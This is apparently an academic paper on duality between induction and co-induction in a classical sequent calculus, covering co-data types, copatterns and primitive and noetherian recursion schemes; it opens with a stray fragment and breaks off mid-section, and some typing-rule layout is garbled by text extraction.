Elementary Linear Logic. It would instead be more interesting to
understand whether there is an encoding for Soft Linear Logic that
allows a large class of coinductive data structures to be defined.
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Abstract
Our goal is to develop co-induction from our understanding of
induction, putting them on level ground as equal partners for
reasoning about programs. We investigate several structures which
represent well-founded forms of recursion in programs. These
simple structures encapsulate reasoning by primitive and noetherian
induction principles, and can be composed together to form complex
recursion schemes for programs operating over a wide class of data
and co-data types. At its heart, this study is guided by duality:
each structure for recursion has a dual form, giving perfectly
symmetric pairs of equal and opposite data and co-data types for
representing recursion in programs. Duality is brought out through
a framework presented in sequent style, which inherently includes
control effects that are interpreted logically as classical reasoning
principles. To accommodate the presence of effects, we give a
calculus parameterized by a notion of strategy, which is strongly
normalizing for a wide range of strategies. We also present a more
traditional calculus for representing effect-free functional programs,
but at the cost of losing some of the founding dualities.

Categories and Subject Descriptors F.3.3 [Studies of Program
Constructs]: Program and recursion schemes

Keywords Recursion; Induction; Coinduction; Duality; Structures;
Classical Logic; Sequent Calculus; Strong Normalization

1. Introduction
Martin-Löf’s type theory [5, 15] taught us that inductive definitions
and reasoning are pervasive throughout proof theory, mathematics,
and computer science. Inductive data types are used in programming
languages like ML and Haskell to represent structures, and in proof
assistants and dependently typed languages like Coq and Agda
to reason about finite structures of arbitrary size. Mendler [17]
showed us how to talk about recursive types and formalize inductive
reasoning over arbitrary data structures. However, the foundation
for the opposite to induction, co-induction, has not fared so well.
Co-induction is a major concept in programming, representing
endless processes, but it is often neglected, misunderstood, or
mistreated. As articulated by McBride [19]:
We are obsessed with foundations partly because we are aware of a
number of significant foundational problems that we’ve got to get

right before we can do anything realistic. The thing I would think
of . . . is coinduction and reasoning about corecursive processes.
That’s currently, in all major implementations of type theory, a
disaster. And if we’re going to talk about real systems, we’ve got
to actually have something sensible to say about that.

The introduction of copatterns for coinduction [3] is a major step
forward in rectifying this situation. Abel et al. emphasize that there
is a dual view to inductive data types, in which the values of types
are defined by how they are used instead of how they are built,
a perspective on co-data types first spurred on by Hagino [12].
Co-inductive co-data types are exciting because they may solve
the existing problems with representing infinite objects in proof
assistants like Coq [2].

The primary thrust of this work is to improve the understanding
and treatment of co-induction, and to integrate both induction
and co-induction into a cohesive whole for representing well-
founded recursive programs. Our main tools for accomplishing
this goal are the pervasive and overt duality and symmetry that runs
through classical logic and the sequent calculus. By developing
a representation of well-founded induction in a language for the
classical sequent calculus, we get an equal and opposite version
of well-founded co-induction “for free.” Thus, the challenges that
arise from using classical sequent calculus as a foundation for
induction are just as well the challenges of co-induction, as the two
are inherently developed simultaneously. Afterward, we translate the
developments of induction and co-induction in the classical sequent
calculus to a λ-calculus based language for effect-free programs,
to better relate to the current practice of type theory and functional
programming. As the λ-based style lacks symmetries present in the
sequent calculus, some of the constructs for recursion are lost in
translation. Unsurprisingly, the cost of an asymmetrical viewpoint
is blindness to the complete picture revealed by duality.

Our philosophy is to emphasize the disentanglement of the
recursion in types from the recursion in programs, to attain a
language rich in both data and co-data while highlighting their
dual symmetries. On the one hand, the Coq viewpoint is that all
recursive types—both inductive and co-inductive—are represented
as data types (positive types in polarized logic [16]), where induction
allows for infinitely deep destruction and co-induction allows for
infinitely deep construction. On the other hand, the copattern
approach [2, 3] represents inductive types as data and co-inductive
types as co-data. In contrast, we take the view that separates the
recursive definition of types from the types used for specifying
recursive processing loops. Thereby, the types for representing the
structure of a recursive process are given first-class status, defined on
their own independently of any other programming construct. This
makes the types more compositional, so that they may be combined
freely in more ways, as they are not confined to certain restrictions
about how they relate to data vs co-data or induction vs co-induction.
More traditional views on the distinction between inductive and
co-inductive programs come from different modes of use for the
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same building blocks, emerging from particular compositions of
several (co-)data types.

The primary calculus for recursion that we study corresponds
to a classical logic, so it inherently contains control effects [11]
that allow programs to abstract over their own control-flow—
intuitionistic logic and effect-free functional programs are later
considered as a special case. For that reason, the intended evalu-
ation strategy for a program becomes an essential part of under-
standing its meaning: even terminating programs give different
results for different strategies. For example, the functional program
length(Cons (error “boom”) Nil) returns 1 under call-by-name
(lazy) evaluation, but goes “boom” with an error under call-by-value
(strict) evaluation. Therefore, a calculus that talks about the be-
havior of programs needs to consider the impact of the evaluation
strategy. Again, we disentangle this choice from the calculus itself,
boiling down the distinction as a discipline for substitution. We get
a family of calculi, parameterized by this substitution discipline,
for reasoning about the behavior of programs ultimately executed
with some evaluation strategy. The issue of strong normalization
is then shown uniformly over this family of calculi by specifying
some basic requirements of the chosen discipline.

The bedrock on which we build our structures for recursion is
the connection between logic and programming languages, and the
cornerstone of the design is the duality permeating these program-
ming concepts. Induction and co-induction are clearly dual, and to
better highlight their symmetric opposition we base our language in
the symmetric setting of the sequent calculus. Here, classicality is
not just a feature, but an essential completion of the duality needed
to fully express the connections between recursion and co-recursion.
We consider several different types for representing recursion in pro-
grams based on the mathematical principles of primitive and noethe-
rian recursion which are reflected as pairs of dual data and co-data
types. As we will find, both of these different recursive principles
have different strengths when considered programmatically: primi-
tive recursion allows us to simulate seemingly infinite constructed
objects, like potentially infinite lists in Coq or Haskell, whereas
noetherian recursion admits type-erasure. In essence, we demon-
strate how this parametric sequent calculus can be used as a core
calculus and compilation target for establishing well-foundedness of
recursive programs, via the computational interpretation of common
principles of mathematical induction.

We begin by presenting some basic functional programs, includ-
ing copatterns [3], in a sequent based syntax to illustrate how the
sequent calculus gives a language for programming with structures
and duality (Section 2) in which all types, including functions and
polymorphism, are treated as user-defined data and co-data types
(Section 3). Next, we develop two forms of well-founded recur-
sion in types—based on primitive and noetherian recursion—along
with specific data and co-data types for performing well-founded
recursion in programs (Section 4). These two recursion schemes
are incorporated into the sequent calculus language, and we demon-
strate a rewriting theory that is strongly normalizing for well-typed
programs and supports erasure of computationally irrelevant types
at run-time (Section 5). Finally, we illustrate the natural deduction
counterpart to our sequent calculus language, and show how the
recursive constructs developed for classically effectful programs can
be imported into a language for effect-free functional programming
(Section 6).

2. Programming with Structures and Duality
Pattern-matching is an integral part of functional programming
languages, and is a great boon to their elegance. However, the
traditional language of pattern-matching can be lacking in areas,
especially when we consider dual concepts that arise in all programs.
For example, when defining a function by patterns, we can match

on the structure of the input—the argument given to the function—
but not its output—the observation being made about its result.
In contrast, calculi inspired by the sequent calculus feature a
more symmetric language which both highlights and restores this
missing duality. Indeed, in a setting with such ingrained symmetry,
maintaining dualities is natural. We now consider how concepts
from functional programming translate to a sequent-based language,
and how programs can leverage duality by writing basic functional
programs in this symmetric setting.

Example 1. One of the most basic functional programs is the
function that calculates the length of a list. We can write this length
function in a Haskell- or Agda-like language by pattern-matching
over the structure of the given List a to produce a Nat:

dataNatwhere

Z : Nat

S : Nat→ Nat

data List awhere

Nil : List a

Cons : a→ List a→ List a

length Nil = Z

length (Consx xs) = let y = length xs in S y

This definition of length describes its result for every possible call.
Similarly, we can define length in the µµ̃-calculus1 [8], a language
based on Gentzen’s sequent calculus, in much the same way. First,
we introduce the types in question by data declarations in the sequent
calculus:

dataNatwhere

Z : ` Nat |
S : Nat ` Nat |

data List(a)where

Nil : ` List(a)|
Cons : a, List(a) ` List(a)|

While these declarations give the same information as before, the
differences between these specific data type declarations are largely
stylistic. Instead of describing the constructors in terms of a pre-
defined function type, the shape of the constructors are described
via sequents, replacing function arrows with entailment (`) and
commas for separating multiple inputs. Furthermore, the type of the
main output produced by each constructor is highlighted to the right
of the sequent between entailment and a vertical bar, as in ` Nat |
or ` List(a)|, and all other types describe the parameters that must
be given to the constructor to produce this output. Thus, we can
construct a list as either Nil or Cons(x, xs), much like in functional
languages. Next, we define length by specifying its behavior for
every possible call:

〈length||Nil · α〉 = 〈Z||α〉
〈length||Cons(x, xs) · α〉 = 〈length||xs · µ̃y.〈S(y)||α〉〉

The main difference is that we consider more than just the argument
to length. Instead, we are describing the action of length with
its entire context by showing the behavior of a command, which
connects together a producer and a consumer. For example, in the
command 〈Z||α〉, Z is a term producing zero and α is a co-term—
specifically a co-variable—that consumes that number. Besides
co-variables, we have other co-terms that consume information.
The call-stack Nil · α consumes a function by supplying it with
Nil as its argument and consuming its returned result with α. The
input abstraction µ̃y.〈S(y)||α〉 names its input y before running the
command 〈S(y)||α〉, similarly to the context let y = � in S(y)
from the functional program.

1 Note that symbols µ and µ̃ used here are not related to recursion, but rather
are binders for variables and their dual co-variables in the tradition of [6].
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In functional programs, it is common to avoid explicitly naming
the result of a recursive call, especially in such a short program.
Instead, we would more likely define length as:

length Nil = Z

length (Consx xs) = S(length xs)

We can mimic this definition in the sequent calculus as:

〈length||Nil · α〉 = 〈Z||α〉
〈length||Cons(x, xs) · α〉 = 〈S(µβ.〈length||xs · β〉)||α〉

Note that to represent the functional call length xs inside the
successor constructor S, we need to make use of a new kind of
term: the output abstraction µβ.〈length||xs · β〉 names its output
channel β before running the command 〈length||xs · β〉, which
calls length with xs as the argument and β as the return consumer.
In the µµ̃-calculus, output abstractions are exactly dual to input
abstractions, and defining length in µµ̃ requires us to name the
recursive result as either an input or an output. End example 1.

We have seen how to write a recursive function by pattern-
matching on the first argument, x, in a call-stack x · α. However,
why should we be limited to only matching on the structure of
the argument x? If the observations on the returned result must
also follow a particular structure, why can’t we match on α as
well? Indeed, in a dually symmetric language, there is no such
distinction. For example, the function call-stack itself can be viewed
as a structure, so that a curried chain of function applications f x y z
is represented by the pattern x · y · z · α, which reveals the nested
structure down the output side of function application, rather than
the input side. Thus, the sequent calculus reveals a dual way of
thinking about information in programs phrased as co-data, in which
observations follow predictable patterns, and values respond to those
observations by matching on their structure. In such a symmetric
setting, it is only natural to match on any structure appearing in
either inputs or outputs.
Example 2. We can consider this view on co-data to understand
programs with “infinite” objects. For example, infinite streams may
be defined by the primitive projections out of streams:

codataStream(a)where

Head : | Stream(a) ` a
Tail : | Stream(a) ` Stream(a)

Contrarily to data types, the type of the main input consumed by
co-data constructors is highlighted to the left of the sequent in
between a vertical bar and entailment, as in | Stream(a) `. The
rest of the types describe the parameters that must be given to
the constructor in order to properly consume this main input. For
Streams, the observation Head[α] requests the head value of a
stream which should be given to α, and Tail[β] asks for the tail
of the stream which should be given to β.2 We can now define a
function countUp—which turns an x of type Nat into the infinite
stream x,S(x),S(S(x)), . . .—by pattern-matching on the structure
of observations on functions and streams:

〈countUp||x · Head[α]〉 = 〈x||α〉
〈countUp||x · Tail[β]〉 = 〈countUp||S(x) · β〉

If we compare countUp with length in this style, we can see that
there is no fundamental distinction between them: they are both
defined by cases on their possible observations. The only point of

2 We use square brackets as grouping delimiters in observations, like the
head projection Head[α] out of a stream, as opposed to round parentheses
used as grouping delimiters in results, like the successor number S(y). This
helps to disambiguate between results (terms) and observations (co-terms)
in a way that is syntactically apparent independently of their context.

difference is that length happens to match on its input data structure
in its call-stack, whereas countUp matches on its return co-data
structure.

Abel et al. [3] have carried this intuition back into the functional
paradigm. For example, we can still describe streams by their Head
and Tail projections, and define countUp through co-patterns:

codataStream awhere

Head : Stream a→ a

Tail : Stream a→ Stream a

(countUp x).Head = x

(countUp x).Tail = countUp (Sx)

This definition gives the functional program corresponding to the
sequent version of countUp. So we can see that co-patterns arise
naturally, in Curry-Howard isomorphism style, from the computa-
tional interpretation of Gentzen’s sequent calculus.

Since a symmetric language is not biased against pattern-
matching on inputs or outputs, and indeed the two are treated
identically, there is nothing special about matching against both
inputs and outputs simultaneously. For example, we can model infi-
nite streams with possibly missing elements as SkipStream(a) =
Stream(Maybe(a)), where Maybe(a) corresponds to the Haskell
datatype with constructors Nothing and Just(x) for x of type a.
Then we can define the empty skip stream which gives Nothing at
every position, and the countDown function that transforms Sn(Z)
into the stream Sn(Z), Sn−1(Z), . . . ,Z,Nothing, . . . :

〈empty||Head[α]〉 = 〈Nothing||α〉
〈empty||Tail[β]〉 = 〈empty||β〉

〈countDown||x · Head[α]〉 = 〈Just(x)||α〉
〈countDown||Z · Tail[β]〉 = 〈empty||β〉
〈countDown||S(x) · Tail[β]〉 = 〈countDown||x · β〉

End example 2.

Example 3. As opposed to the co-data approach to describing
infinite objects, there is a more widely used approach in lazy
functional languages like Haskell and proof assistants like Coq
that still favors framing information as data. For example, an infinite
list of zeroes is expressed in this functional style by an endless
sequence of Cons:

zeroes = Cons Z zeroes

We could emulate this definition in sequent style as the expansion
of zero when observed by any α:

〈zeroes||α〉 = 〈Cons(Z, zeroes)||α〉
Likewise, we can describe the concatenation of two, possibly

infinite lists in the same way, by pattern-matching on the call:

〈cat||Nil · ys · α〉 = 〈ys||α〉
〈cat||Cons(x, xs) · ys · α〉 = 〈Cons(x, µβ.〈cat||xs · ys · β〉)||α〉

The intention is that, so long as we do not evaluate the sub-
components of Cons eagerly, then α receives a result even if xs
is an infinitely long list like zeroes. End example 3.

3. A Higher-Order Sequent Calculus
Based on our example programs in Section 2, we now flesh out
more formally a higher-order language of the sequent calculus: the
µµ̃-calculus. The full syntax of this language is shown in Figure 1.
The different components of programs in the µµ̃-calculus can be
understood by their relationship between opposing forces of input
and output. A term, v, produces an output, a co-term, e, consumes
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c ∈ Command ::= 〈v||e〉
v ∈ Term ::= x || µα.c || K( #»e , #»v ) || µ(H[ #»x , #»α ].c| . . .) e ∈ CoTerm ::= α || µ̃x.c || µ̃[K( #»α , #»x ).c| . . .] || H[ #»v , #»e ]

A,B,C,D ∈ Type ::= a || λa : k.B || A B || F(
#»
A) || G(

#»
A) k, l ∈ Kind ::= ? || k1 → k2

Figure 1. The syntax of the higher-order µµ̃-calculus.

an input, and a command, c, neither produces nor consumes, it just
runs. Thus, we can consider commands to be the computational
unit of the language: when we talk about running a program, it is a
command which does the running, not a term.

To begin, we focus on the core of the µµ̃-calculus, which
includes just the substrate necessary for piping inputs and outputs to
the appropriate places. In particular, we have two different forms of
inputs and outputs: the implicit, unnamed inputs and outputs of terms
and co-terms, and the explicit, named inputs and outputs introduced
by variables (typically written x, y, z) and co-variables (typically
written α, β, γ). Thus, besides variables and co-variables, the core
µµ̃-calculus includes the generic abstractions seen in Section 2,
µα.c and µ̃x.c, which mediate between named and unnamed inputs
and outputs. The output of the term µα.c is namedα in the command
c, and dually the input of the co-term µ̃x.c is named x in c.

Even though the core µµ̃-calculus has not introduced any spe-
cific types yet, we can still consider its type system for ensuring
proper communication between producers and consumers, shown
in Figure 2. The (typed) free variables and co-variables are tracked
in separate contexts, written Γ and ∆ respectively, and the entail-
ment (`) separates inputs on the left from outputs on the right.
Additionally, the context, Θ, for type variables (written a, b, c, d),
being neither input nor output, adorn the turnstyle itself. Since pro-
grams of the µµ̃-calculus are made up of three different forms of
components, the typing rules use three different forms of sequents:
Γ `Θ v : A|∆ states that v is a term producing an output of type
A, Γ|e : A `Θ ∆ states that e is a co-term consuming an input of
type A, and c : (Γ `Θ ∆) states that c is a well-typed command.
The language of types and kinds is just the simply typed λ-calculus
at the type level with ? as the base kind, Θ ` A : k states that A
is a type of kind k, and Θ ` A = B : k states that A and B are
αβη-equivalent types of kind k.

This core language does not include any baked-in types. Instead,
all types are user-defined by a general declaration mechanism for
(co-)data types introduced in [8], similar to the data declaration
mechanisms of functional languages but generalized through duality.
Data declarations introduce new constructed terms as well as a new
case abstraction co-term that performs case analysis to destruct its
input before deciding which branch to take similar to the context
case�of . . . in functional languages. Co-data declarations are
exactly symmetric, introducing new constructed co-terms as well as
a new case abstraction term that performs case analysis on its output
before deciding how to respond.

We already saw some example declarations previously for Nat,
List(a), and Stream(a). As it turns out, all the basic types from
functional programming languages follow the same pattern and can
be declared as user-defined types. For example, pairs are defined as:

data (a : ?)⊗ (b : ?)where

( , ) : a, b ` a⊗ b|

which says that building a pair of type a ⊗ b requires the terms v
of type a and v′ of type b, obtaining the constructed pair (v, v′).
Destruction of pairs, expressed by the case abstraction co-term
µ̃[(x, y).c], pattern-matches on its input pair before running the
command c.

Furthermore, we can declare the type for functions as:
codata (a : ?)→ (b : ?)where

· : a|a→ b ` b
This co-data declaration says that building a function call-stack
of type a → b requires a term v of type a and a co-term e of
type b, obtaining the constructed stack v · e. Destruction of call-
stacks, expressed by the case abstraction term µ(x · α.c), pattern-
matches on its output stack before running c. Note that this is an
alternative representation of functions to λ-abstractions in functional
languages, but an equivalent one. Indeed, the two views of functions
are mutually definable:

λx.v = µ(x · α.〈v||α〉) µ(x · α.c) = λx.µα.c

Here, we generalize the declaration mechanism from [8] to
include higher-order types and quantified type variables. The general
forms of (non-recursive) data and co-data declaration in the µµ̃-
calculus are given in Figure 3, and the associated typing rules in
Figure 4. In addition to the rule for determining when the (co-)data
types F(

#»
A) and G(

#»
A) are well-kinded, we also have the left and

right rules for typing (co-)data structures and case abstractions. By
instantiating the (co-)data type constructors at the types

#»
A , we

must substitute
#»
A for all possible occurrences of the parameters

#»a in the declaration. Furthermore, the chosen instances
#»
D for the

quantified type variables
#»

di , which annotate the constructor, must
also be substituted for their occurrences in other types. With this in
mind, the rules for construction (the FRKi and GLHi rules) check
that the sub-(co-)terms and quantified types of a structure have the
expected instantiated types, whereas the rules for deconstruction
(FL and GR) extend the typing contexts with the appropriately
typed (co-)variables and type variables.

This form of (co-)data type declaration lets us express not
only existential quantification—as in Haskell and Coq—but also
universal quantification as well:
data ∃(a : ?→ ?)where

Pack : a b `b:? ∃a|
codata∀(a : ?→ ?)where

Spec : |∀a `b:? a b
Notice that these general patterns give us the expected typing rules:

c : Γ `Θ,b:? α : A b,∆

Γ `Θ µ(Specb:?[α].c) : ∀A|∆
Θ ` B : ? Γ|e : A B `Θ ∆

Γ| SpecB [e] : ∀A `Θ ∆

Θ ` B : ? Γ `Θ v : A B|∆
Γ `Θ PackB(v) : ∃A|∆

c : Γ, x : A b `Θ,b:? ∆

Γ|µ̃[Packb:?(x).c] : ∃A `Θ ∆

Using a recursively-defined case abstraction with deep pattern-
matching, we can now represent length in the µµ̃-calculus:

length = µ(Nil · α.〈Z||α〉
|Cons(x, xs) · α.〈length||xs · µ̃y.〈S(y)||α〉〉)

Furthermore, the deep pattern-matching can be mechanically trans-
lated to the shallow case analysis for (co-)data types:
length = µ(xs · α. 〈xs||µ̃[Nil.〈Z||α〉

|Cons(x, xs′).〈length||xs′ · µ̃y.〈S(y)||α〉〉]〉)
This case abstraction describes exactly the same specification as the
definition for length in Example 1.
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Γ, x : A `Θ x : A|∆ V ar
c : (Γ `Θ α : A,∆)

Γ `Θ µα.c : A|∆ Act
c : (Γ, x : A `Θ ∆)

Γ|µ̃x.c : A `Θ ∆
CoAct

Γ|α : A `Θ α : A,∆
CoV ar

Θ ` A = B : ? Γ `Θ v : A|∆
Γ `Θ v : B|∆

Eq
Γ `Θ v : A|∆ Θ ` A : ? Γ|e : A `Θ ∆

〈v||e〉 : (Γ `Θ ∆)
Cut

Θ ` A = B : ? Γ|e : B `Θ ∆

Γ|e : A `Θ ∆
CoEq

Figure 2. The type system for the core higher-order µµ̃-calculus.

dataF(
#      »

a : k)where

K1 :
#  »
B1 ` #      »

d1:l1
F( #»a )| # »

C1

. . .

Kn :
#  »
Bn ` #       »

dn:ln
F( #»a )| #  »

Cn

codataG(
#      »

a : k)where

H1 :
#  »
B1 |G( #»a ) ` #      »

d1:l1

# »
C1

. . .

Hn :
#  »
Bn |G( #»a ) ` #       »

dn:ln

#  »
Cn

Figure 3. General form of declarations for user-defined data and co-data.

#                   »

Θ ` A : k

Θ ` F(
#»
A) : ?

c1 : (Γ,
#                           »

x : B1{
#     »

A/a} `
Θ,

#                    »

d1:l1{
#    »

A/a} ∆,
#                           »

α : C1{
#     »

A/a}) . . .

Γ|µ̃[K
#      »
d1:l1
1 ( #»α , #»x ).c1| . . .] : F(

#»
A) `Θ ∆

FL

#                                     »

Θ ` D : li{
#     »

A/a}
#                                                               »

Γ|e : Ci{
#     »

A/a,
#        »

D/di} `Θ ∆
#                                                                »

Γ `Θ v : Bi{
#     »

A/a,
#        »

D/di}|∆

Γ `Θ K
#»
D
i ( #»e , #»v ) : F(

#»
A)|∆

FRKi

#                   »

Θ ` A : k

Θ ` G(
#»
A) : ?

c1 : (Γ, x : B1{
#     »

A/a} `
Θ,

#                    »

d1:l1{
#    »

A/a} α : C1{
#     »

A/a},∆) . . .

Γ `Θ µ(H
#      »
d1:l1
1 [ #»x , #»α ].c1| . . .) : G(

#»
A)|∆

GR

#                                     »

Θ ` D : li{
#     »

A/a}
#                                                              »

Γ `Θ v : Bi{
#     »

A/a,
#      »

D/d}|∆
#                                                             »

Γ|e : Ci{
#     »

A/a,
#      »

D/d} `Θ ∆

Γ|H
#»
D
i [ #»v , #»e ] : G(

#»
A) `Θ ∆

GLHi

Figure 4. Typing rules for non-recursive, user-defined data and co-data types.

In each of the examples in Section 2, we were only concerned
with writing recursive programs, but have not showed that they
always terminate. Termination is especially important for proof
assistants and dependently typed languages, which rely on the
absence of infinite loops for their logical consistency. If we consider
the programs in Examples 1 and 2, then termination appears fairly
straightforward by structural recursion somewhere in a function call:
each recursive invocation of length has a structurally smaller list
for the argument, and each recursive invocation of countUp, and
countDown has a smaller stream projection out of its returned
result. However, formulating this argument in general turns out
to be more complicated. Even worse, the “infinite data structures”
in Example 3 do not have as clear of a concept of “termination:”
zeroes and concatenation could go on forever, if they are not given
a bound to stop. To tackle these issues, we will phrase principles
of well-founded recursion in the µµ̃-calculus, so that we arrive at a
core calculus capable of expressing complex termination arguments
(parametrically to the chosen evaluation strategy) inside the calculus
itself (see Section 5).

4. Well-Founded Recursion
There is one fundamental difficulty in ensuring termination for
programs written in a sequent calculus style: even incredibly simple
programs perform their structural recursion from within some larger

overall structure. For example, consider the humble length function
from Example 1. The decreasing component in the definition of
length is clearly the list argument which gets smaller with each call.
However, in the sequent calculus, the actual recursive invocation of
length is the entire call-stack. This is because the recursive call to
length does not return to its original caller, but to some place new.
When written in a functional style, this information is implicit since
the recursive call to length is not a tail-call, but rather S(length xs).
When written in a sequent style, this extra information becomes an
explicit part of the function call structure, necessary to remember
to increment the output of the function before ultimately returning.
This means that we must carry around enough memory to store our
ever increasing result amidst our ever decreasing recursion.

Establishing termination for sequent calculus therefore requires
a more finely controlled language for specifying “what’s getting
smaller” in a recursive program, pointing out where the decreasing
measure is hidden within recursive invocations. For this purpose, we
adopt a type-based approach to termination checking [1]. Besides
allowing us to abstract over termination-ensuring measures, we can
also specify which parts of a complex type are used as part of the
termination argument. As a consequence for handling simplistic
functions like length, we will find that, for free, the calculus ends
up as a robust language for describing more advanced recursion over
structures, including lexicographic and mutual recursion over both
data and co-data structures simultaneously.
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In considering the type-based approach to termination in the
sequent calculus, we identify two different styles for the type-level
measure indices. The first is an exacting notion of index with a
predictable structure matching the natural numbers and which we
use to perform primitive recursion. This style of indexing gives
us a tight control over the size of structures, allowing us to define
types like the fixed-sized vectors of values from dependently typed
languages as well as a direct encoding of “infinite” structures as
found in lazy functional languages. The second is a looser notion
that only tracks the upper bound of indices and which we use to
perform noetherian recursion. This style of indexing is more in
tune with typical structurally recursive programs like length and
also supports full run-time erasure of bounded indices while still
maintaining termination of the index-erased programs.

4.1 Primitive Recursion
We begin with the more basic of the two recursion schemes:
primitive recursion on a single natural number index. These natural
number indices are used in types in two different ways. First, the
indices act as an explicit measure in recursively defined (co-)data
types, tracking the recursive sub-components of their structures in
the types themselves. Second, the indices are abstracted over by
the primitive recursion principle, allowing us to generalize over
arbitrary indices and write looping programs.

Let’s consider some examples of using natural number indices
for the purpose of defining (co-)data types with recursive structures.
We extend the (co-)type declaration mechanism seen previously
with the ability to define new (co-)data types by primitive recursion
over an index, giving a mechanism for describing recursive (co-)data
types with statically tracked measures. Essentially, the constructors
are given in two groups—for the zero and successor cases—and
may only contain recursive sub-components at the (strictly) previous
index. For example, we may describe vectors of exactly N values
of type A, Vec(N,A), as in dependently typed languages:

dataVec(i : Ix, a : ?)by primitive recursion on i
where i = 0 Nil : ` Vec(0, a)|
where i = j + 1 Cons : a,Vec(j, a) ` Vec(j + 1, a)|

where Ix is the kind of type-level natural number indices. Nil builds
an empty vector of type Vec(0, A), and Cons(v, v′) extends the
vector v′ : Vec(N,A) with another element v : A, giving us
a vector with one more element of type Vec(N + 1, A). Other
than these restrictions on the instantiations of i : Ix for vectors
constructed by Nil and Cons, the typing rules for terms of Vec(N,A)
follow the normal pattern for declared data types.3 Destructing
a vector diverges more from the usual pattern of non-recursive
data types. Since the constructors of vector values are put in two
separate groups, we have two separate case abstractions to consider,
depending on whether the vector is empty or not. On the one hand,
to destruct an empty vector, we only have to handle the case for
Nil, as given by the co-term µ̃[Nil.c]. On the other, destructing a
non-empty vector requires us to handle the Cons case, as given by
the co-term µ̃[Cons(x, xs).c]. These co-terms are typed by the two
left rules for Vec—one for both its zero and successor instances:

c : (Γ `Θ ∆)

Γ|µ̃[Nil.c] : Vec(0, A) `Θ ∆
VecL0

c : (Γ, x : A, xs : Vec(M,A) `Θ ∆)

Γ|µ̃[Cons(x, xs).c] : Vec(M + 1, A) `Θ ∆
VecL+1

As a similar example, we can define a less statically constrained
list type by primitive recursion. The IxList indexed data type is just

3 We can have a vector with an abstract index if we don’t yet know what
shape it has, as with the variable x or abstraction µα.c of type Vec(i, A).

like Vec, except that the Nil constructor is available at both the zero
and successor cases:
data IxList(i : Ix, a : ?)by primitive recursion on i
where i = 0 Nil : ` IxList(0, a)|
where i = j + 1 Nil : ` IxList(j + 1, a)|

Cons : a, IxList(j, a) ` IxList(j + 1, a)|
Now, destructing a non-zero IxList(N + 1, A) requires both cases,
as given in the co-term µ̃[Nil.c|Cons(x, xs).c′]. IxList has three
right rules for building terms: for Nil at both 0 and M + 1 and for
Cons. It also has two left rules: one for case abstractions handling
the constructors of the 0 case and another for the M + 1 case.

To write looping programs over these indexed recursive types,
we use a recursion scheme which abstracts over the index occurring
anywhere within an arbitrary type. As the types themselves are
defined by primitive recursion over a natural number, the recursive
structure of programs will also follow the same pattern. The trick
then is to embody the primitive induction principle for proving a
proposition P over natural numbers:

P [0] ∧ (∀j : N.P [j]→ P [j + 1])→ (∀i : N.P [i])

and likewise the refutation of such a statement, as is given by
any specific counter-example—n : N ∧ P [n] → (∀i : N.P [i])—
into logical rules of the sequent calculus.4 By the usual reading
of sequents, proofs come to the right of entailment (` A means
“A is true”), whereas refutations come to the left (A ` means “A
is false”). Because we will have several recursion principles, we
denote this particular one with a type named Inflate, so that the
primitive recursive proposition ∀i : N.P [i] is written as the type
Inflate(λi : Ix.A) with the inference rules:

` A 0 A j `j:Ix A (j + 1)

` Inflate(A)
`M : Ix AM `

Inflate(A) `
We use this translation of primitive induction into logical rules as
the basis for our primitive recursive co-data type. The refutation
of primitive recursion is given as a specific counter-example, so
the co-term is a specific construction. Whereas, proof by primitive
recursion is a process given by cases, the term performs case analysis
over its observations. The canonical counter-example is described
by the co-data type declaration for Inflate:

codata Inflate(a : Ix→ ?)where

Up : | Inflate(a) `j:Ix a j
The general mechanism for co-data automatically generates the
left rule for constructing the counter-example, and a right rule for
extracting the parts of this construction. However, to give a recursive
process for Inflate, we need an additional right rule that gives us
access to the recursive argument by performing case analysis on the
particular index. This scheme for primitive recursion is expressed by
the term µ(Up0:Ix[α].c0|Upj+1:Ix[α](x).c1) which performs case
analysis on type-level indices at run-time, and which can access the
recursive result through the extra variable x in the successor pattern
Upj+1:Ix[α](x). This term has the typing rule:
c0 : (Γ `Θ α : A 0,∆) c1 : (Γ, x : A j `Θ,j:Ix α : A (j + 1),∆)

Γ `Θ µ(Up0:Ix[α].c0|Upj+1:Ix[α](x).c1) : Inflate(A)|∆

Terms of type Inflate i : Ix .A (which is shorthand for the type
Inflate(λi : Ix.A)) describe a process which is able to produce
A{N/i}, for any indexN , by stepwise producingA{0/i},A{1/i},
. . . , A{N/i} and piping the previous output to the recursive input

4 We use the overbar notation, P , to denote that the proposition P is false.
The use of this notation is to emphasize that we are not talking about negation
as a logical connective, but rather the dual to a proof that P is true, which is
a refutation of P demonstrating that it is false.
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x of the next step, thus “inflating” the index in the result arbitrarily
high. The index of the particular step being handled is part of the
constructor pattern, so that the recursive case abstraction knows
which branch to take. In contrast, co-terms of type Inflate i : Ix .A
hide the particular index at which they can consume an input, thereby
forcing their input to work for any index.

By just applying duality in the sequent calculus and flipping
everything about the turnstyles, we get the opposite notion of
primitive recursion as a data type. In particular, we get the data
declaration describing a dual type, named Deflate:

dataDelfate(a : Ix→ ?)where

Down : a j `j:Ix Deflate(a)|
The general mechanism for data automatically generates the right
rule for constructing an index-witnessed example case, and a left
rule for extracting the index and value from this structure. Further, as
before we need an additional left rule for performing self-referential
recursion for consuming such a construction:
c1 : (Γ, x : A (j + 1) `Θ,j:Ix α : A j,∆) c0 : (Γ, x : A 0 `Θ ∆)

Γ|µ̃[Down0:Ix(x).c0|Downj+1:Ix(x)[α].c1] : Deflate(A) `Θ ∆

Dual to before, the recursive output sink can be accessed through the
co-variable α in the pattern Downj+1:Ix(x)[α]. The terms of type
Deflate i : Ix .A hide the particular index at which they produce an
output. In contrast, it is now the co-terms of the type Deflate i : Ix .A
which describe a process which is able to consume A{N/i} for
any choice of N in steps by consuming A{N/i}, . . . , A{0/i} and
piping the previous input to the recursive output α of the next step,
thus “deflating” the index in the input down to 0.

4.2 Noetherian Recursion
We now consider the more complex of the two recursion schemes:
noetherian recursion over well-ordered indices. As opposed to
ensuring a decreasing measure by matching on the specific structure
of the index, we will instead quantify over arbitrary indices that are
less than the current one. In other words, the details of what these
indices look like are not important. Instead, they are used as arbitrary
upper bounds in an ever decreasing chain, which stops when we
run out of possible indices below our current one as guaranteed by
the well-foundedness of their ordering. Intuitively, we may jump by
leaps and bounds down the chain, until we run out of places to move.
Qualitatively, this different approach to recursion measures allows us
to abstract parametrically over the index, and generalize so strongly
over the difference in the steps to the point where the particular
chosen index is unknown. Thus, because a process receiving a
bounded index has so little knowledge of what it looks like, the
index cannot influence its action, thereby allowing us to totally erase
bounded indices during run-time.

Now let’s see how to define some types by noetherian recursion
on an ordered index. Unlike primitive recursion, we do not need to
